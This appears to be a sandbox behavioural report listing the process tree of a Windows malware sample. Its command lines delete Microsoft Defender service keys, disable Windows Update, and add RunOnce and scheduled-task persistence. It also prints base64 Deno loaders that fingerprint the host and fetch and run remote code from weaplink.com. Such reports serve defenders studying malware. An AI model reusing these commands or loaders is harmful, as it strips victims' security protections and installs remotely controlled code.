C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""4⤵
-
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\random.exeC:\Users\Admin\AppData\Local\Temp\random.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"C:\Users\Admin\AppData\Local\Temp\svchostmanager.exe"2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\svchostam.exe"C:\Users\Admin\AppData\Local\Temp\svchostam.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\systemhelper.exe"C:\Windows\systemhelper.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exenircmd win min process "cmd.exe"4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\chcp.comchcp 650014⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKU\S-1-5-19"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exeNSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\mode.comMode 79,494⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\find.exefind /i "0x0"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c tasklist4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WinDefend"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\Sense"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\wscsvc"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdBoot"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdFilter"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecCore"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ver "4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /c:"6.1.7601"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"4⤵
-
-
C:\Windows\SysWOW64\find.exefind /i "Windows 7"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query HKLM\System\CurrentControlset\Services\WdFilter4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Temp\barer\7z.exe7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\barer\game.exegame.exe /CurrentDiskSize4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc query IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5196"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /pid "5196"6⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config dosvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config bits start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg unload HKLM\TEMP_SYSTEM4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\barer\game.exegame /delwd4⤵
- Sets service image path in registry
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc query IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc stop IObitUnlocker6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "7572"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /pid "7572"6⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\barer\game.exegame /DelWD4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc query IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5896"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /pid "5896"6⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\random.exeC:\Users\Admin\AppData\Local\Temp\random.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\TEMP\svchostmanager.exe"C:\Windows\TEMP\svchostmanager.exe"2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\TEMP\svchostam.exe"C:\Windows\TEMP\svchostam.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 5363⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5584 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5260 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7584 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6660 -s 4123⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7144 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9200 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8340 -s 5083⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5292 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9136 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 648 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7768 -s 5083⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6684 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8368 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5916 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7220 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7684 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7652 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6324 -s 5043⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 5403⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exe"C:\Windows\svchosthelper.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6844 -s 5403⤵
- Program crash
-
-
-
C:\Windows\svchosthelper.exeC:\Windows\svchosthelper.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\app\sierra70.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\app\Oscar_system61.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -s https://dl.deno.land/release-latest.txt4⤵
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -Lo C:\Users\Admin\.deno\bin\deno.zip https://dl.deno.land/release/v2.6.9/deno-x86_64-pc-windows-msvc.zip4⤵
-
-
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" xf C:\Users\Admin\.deno\bin\deno.zip -C C:\Users\Admin\.deno\bin4⤵
-
-
C:\Users\Admin\.deno\bin\deno.exe"C:\Users\Admin\.deno\bin\deno.exe" -A data:application/javascript;base64,ZnVuY3Rpb24gaShuKXtsZXQgdD0wLGU9MjY1NDQzNTc2OTtmb3IobGV0IG89MDtvPG4ubGVuZ3RoO28rKyl0PSh0PDw1KS10K24uY2hhckNvZGVBdChvKXwwLGU9KGU8PDUpLWUrbi5jaGFyQ29kZUF0KG8pfDA7cmV0dXJuKHQ+Pj4wKS50b1N0cmluZygxNikucGFkU3RhcnQoOCwiMCIpKyhlPj4+MCkudG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDgsIjAiKX1mdW5jdGlvbiBhKCl7bGV0IG49RGVuby5lbnYuZ2V0KCJVU0VSTkFNRSIpfHxEZW5vLmVudi5nZXQoIlVTRVIiKXx8IiIsdD1EZW5vLmhvc3RuYW1lKCksZT1EZW5vLnN5c3RlbU1lbW9yeUluZm8oKSxvPURlbm8ub3NSZWxlYXNlKCkscj1gJHtufSR7dH0ke2UudG90YWx9JHtvfWA7cmV0dXJuIGkocil9dmFyIGM9bnVsbDtmdW5jdGlvbiBzKG4pe3RyeXtyZXR1cm4gYz1EZW5vLmxpc3Rlbih7cG9ydDpuLGhvc3RuYW1lOiIxMjcuMC4wLjEiLHRyYW5zcG9ydDoidGNwIn0pLCEwfWNhdGNoKHQpe2lmKHQgaW5zdGFuY2VvZiBEZW5vLmVycm9ycy5BZGRySW5Vc2UpcmV0dXJuITE7dGhyb3cgdH19ZnVuY3Rpb24gdShuKXtsZXQgdD1gKGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCIke259Iik7Y29uc3QgdD1hd2FpdCByLnRleHQoKTtjb25zdCBiPW5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0KTtjb25zdCBjPVtdO2ZvcihsZXQgaT0wO2k8Yi5sZW5ndGg7aSs9ODE5MiljLnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZSguLi5iLnN1YmFycmF5KGksaSs4MTkyKSkpO2NvbnN0IG09YXdhaXQgaW1wb3J0KCJkYXRhOmFwcGxpY2F0aW9uL2phdmFzY3JpcHQ7YmFzZTY0LCIrYnRvYShjLmpvaW4oIiIpKSk7YXdhaXQgbS5kZWZhdWx0KCl9KSgpYDtyZXR1cm5gZGF0YTphcHBsaWNhdGlvbi9qYXZhc2NyaXB0O2Jhc2U2NCwke2J0b2EodCl9YH1hc3luYyBmdW5jdGlvbiBsKG4pe2xldCB0PURlbm8uZXhlY1BhdGgoKSxlPW5ldyBEZW5vLkNvbW1hbmQodCx7YXJnczpbIi1BIixuXSxzdGRvdXQ6ImluaGVyaXQiLHN0ZGVycjoiaW5oZXJpdCJ9KSx7Y29kZTpvfT1hd2FpdCBlLm91dHB1dCgpO2lmKG8hPT0wKXRocm93IG5ldyBFcnJvcihgTW9kdWxlIHByb2Nlc3MgZXhpdGVkIHdpdGggY29kZSAke299YCl9YXN5bmMgZnVuY3Rpb24gZCgpe2xldCBuPSJodHRwOi8vd2VhcGxpbmsuY29tIi5zcGxpdCgiLCIpO3RyeXtyZXR1cm4gYXdhaXQgUHJvbWlzZS5hbnkobi5tYXAoYXN5bmMgdD0+e2xldCBlPWF3YWl0IFByb21pc2UucmFjZShbZmV0Y2goYCR7dH0vaGVhbHRoYCkuY2F0Y2gobz0+KGNvbnNvbGUubG9nKGBmZXRjaCBlcnJvciBmb3IgJHt0fTpgLG8ubWVzc2FnZSksbnVsbCkpLG5ldyBQcm9taXNlKG89PnNldFRpbWVvdXQoKCk9Pntjb25zb2xlLmxvZyhgdGltZW91dCBmb3IgJHt0fWApLG8obnVsbCl9LDNlMykpXSk7aWYoY29uc29sZS5sb2coYHJlc3BvbnNlIGZvciAke3R9OmAsZT8uc3RhdHVzLGU/Lm9rKSxlJiZlLm9rKXJldHVybiB0O3Rocm93IG5ldyBFcnJvcigiVVJMIHVuYXZhaWxhYmxlIil9KSl9Y2F0Y2godCl7cmV0dXJuIGNvbnNvbGUubG9nKCJQcm9taXNlLmFueSBmYWlsZWQ6Iix0KSxudWxsfX1hc3luYyBmdW5jdGlvbiBtKCl7cygxMDA0NCl8fERlbm8uZXhpdCgxKTtsZXQgdD1hKCk7Zm9yKDs7KXRyeXtsZXQgZT1hd2FpdCBkKCk7aWYoIWUpdGhyb3cgbmV3IEVycm9yKCJObyB2YWxpZCBBUEkgVVJMIGZvdW5kIik7bGV0IG89YCR7ZX0vbXYyL2V5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUpqWVcxd1lXbG5ia2xrSWpvaVpURmhOelF6TWpWbE5tWmpPR0l3TmlJc0ltTmhiWEJoYVdkdVRtRnRaU0k2SW0xaGFXNGlMQ0pqWVcxd1lXbG5ibFZ5YkNJNkltMWhhVzRpTENKamIyNW1hV2RKWkNJNkltVTBaR1U1TTJSbVpERmtNRFl3TkdJaUxDSndjbTk0YVdWeklqcGJJbWgwZEhBNkx5OTNaV0Z3YkdsdWF5NWpiMjBpWFN3aWRYTmxja2xrSWpvaVpUZ3lZell5TVdFd1lUWm1NalkyT0NJc0luVnpaWEpPYjNSbElqb2liV0ZwYmlJc0ltbGhkQ0k2TVRjM01ERTFNVGd3TXl3aVpYaHdJam95TURnMU56STNPREF6ZlEuTjhJVzFNa3JuancxcERVMXlnQkJuaTFkX3BUYlEtNWdWbWltTGJsakR0US8ke3R9YCxyPXUobyk7YXdhaXQgbChyKX1jYXRjaChlKXtjb25zb2xlLmVycm9yKGUpfWZpbmFsbHl7YXdhaXQgbmV3IFByb21pc2UoZT0+c2V0VGltZW91dChlLDFlMykpfX1tKCk7Cg==4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\.deno\bin\deno.exeC:\Users\Admin\.deno\bin\deno.exe -A data:application/javascript;base64,KGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCJodHRwOi8vd2VhcGxpbmsuY29tL212Mi9leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKallXMXdZV2xuYmtsa0lqb2laVEZoTnpRek1qVmxObVpqT0dJd05pSXNJbU5oYlhCaGFXZHVUbUZ0WlNJNkltMWhhVzRpTENKallXMXdZV2xuYmxWeWJDSTZJbTFoYVc0aUxDSmpiMjVtYVdkSlpDSTZJbVUwWkdVNU0yUm1aREZrTURZd05HSWlMQ0p3Y205NGFXVnpJanBiSW1oMGRIQTZMeTkzWldGd2JHbHVheTVqYjIwaVhTd2lkWE5sY2tsa0lqb2laVGd5WXpZeU1XRXdZVFptTWpZMk9DSXNJblZ6WlhKT2IzUmxJam9pYldGcGJpSXNJbWxoZENJNk1UYzNNREUxTVRnd015d2laWGh3SWpveU1EZzFOekkzT0RBemZRLk44SVcxTWtybmp3MXBEVTF5Z0JCbmkxZF9wVGJRLTVnVm1pbUxibGpEdFEvMjUyN2QxMzMzYWUzOWNhYyIpO2NvbnN0IHQ9YXdhaXQgci50ZXh0KCk7Y29uc3QgYj1uZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUodCk7Y29uc3QgYz1bXTtmb3IobGV0IGk9MDtpPGIubGVuZ3RoO2krPTgxOTIpYy5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYi5zdWJhcnJheShpLGkrODE5MikpKTtjb25zdCBtPWF3YWl0IGltcG9ydCgiZGF0YTphcHBsaWNhdGlvbi9qYXZhc2NyaXB0O2Jhc2U2NCwiK2J0b2EoYy5qb2luKCIiKSkpO2F3YWl0IG0uZGVmYXVsdCgpfSkoKQ==5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\app\sierra70.vbs"2⤵
-
